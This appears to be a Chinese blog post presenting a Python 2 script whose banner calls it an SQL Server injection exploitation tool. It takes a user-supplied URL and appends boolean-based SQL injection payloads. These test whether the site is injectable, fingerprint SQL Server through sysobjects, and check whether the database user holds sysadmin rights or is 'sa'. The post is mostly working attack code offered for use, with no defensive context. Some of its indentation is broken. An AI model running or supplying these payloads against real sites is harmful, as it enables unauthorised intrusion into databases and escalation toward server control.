Python编写检测数据库SA用户的方法，python编写数据库sa

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()